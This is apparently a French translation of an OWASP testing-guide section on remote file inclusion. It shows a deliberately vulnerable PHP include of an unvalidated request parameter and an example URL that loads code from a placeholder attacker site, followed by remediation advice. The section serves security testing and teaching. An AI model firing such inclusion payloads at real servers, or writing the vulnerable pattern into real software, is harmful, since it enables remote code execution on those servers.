4.8.12.2 Tester l'inclusion de fichiers distants

Sommaire
Une vulnérabilité d'inclusion de fichier permet à un attaquant d'inclure un fichier, usuellement en eploitant un mécanisme d'inclusion dynamique de fichier implémenté dans l'application visée. La vulnérabilité survient à cause d'entrées utilisateur utilisées sans validation correcte.

Cela peut entraîner comme impact l'affichage du contenu du fichier, mais selon la criticité, cela peut aussi causer :


 * L'exécution de code sur le serveur web
 * L'exécution de code côté client, comme du JavaScript, qui peut permettre d'autres attaques comme le cross site scripting (XSS)
 * Un déni de service (DOS)
 * Des fuites d'informations sensibles

L'inclusion de fichiers locaux (aussi connue sous le nom de LFI : Local File Inclusion) est le processus par lequel on va inclure des fichiers déjà présents sur le serveur, en exploitant des procédures d'inclusion vulnérables implémentée par l'application. Cette vulnérabilité advient, par exemple, lorsqu'une page reçoit en entrée le chemin d'un fichier devant être inclus et que cette entrée n'est pas validée correctement, autorisant l'injection d'une URL externe. Bien que la plupart de nos exemples soient en PHP, c'est une vulnérabilité commune à d'autres technologies comme JSP, ASP, etc.

Comment tester
Comme les LFI adviennent quand des chemins passés à des instructions "include" ne sont pas correctement validés, dans une approche en boite noire, il faudra rechercher les scripts qui prennent des noms de fichiers en paramètres. Considérons l'exemple PHP suivant :

$incfile = $_REQUEST["file"]; include($incfile.".php");

Dans cet exemple le chemin est extrait de la quête HTTP et aucune validation d'entrée n'est faite (par exemple vérifier que l'entrée est dans une liste blanche), donc ce morceau de code cause une vulnérabilité à ce type d'attaque :

http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page

Dans ce cas, le fichier distant va être inclus ainsi que tout le code qu'il contient et sera exécuté par le serveur.

Références
Whitepapers
 * “Remote File Inclusion” - http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion
 * Wikipedia: "Remote File Inclusion" - http://en.wikipedia.org/wiki/Remote_File_Inclusion

Remédiation
La solution la plus efficace pour éliminer les vulnérabilités d'inclusion de fichier est d'éviter de passer des entrées utilisateurs à toute API de système de fichiers. Si ce n'est pas possible, l'application peut maintenir une liste blanche de fichiers pouvant être inclus dans la page, et utiliser un identifiant (par exemple l'index) pour accéder au fichier sélectionné. Toute requête contenant un identifiant invalide devra être rejetée, ainsi il n'y aura pas de surface d'attaque permettant aux utilisateurs malicieux de manipuler le chemin.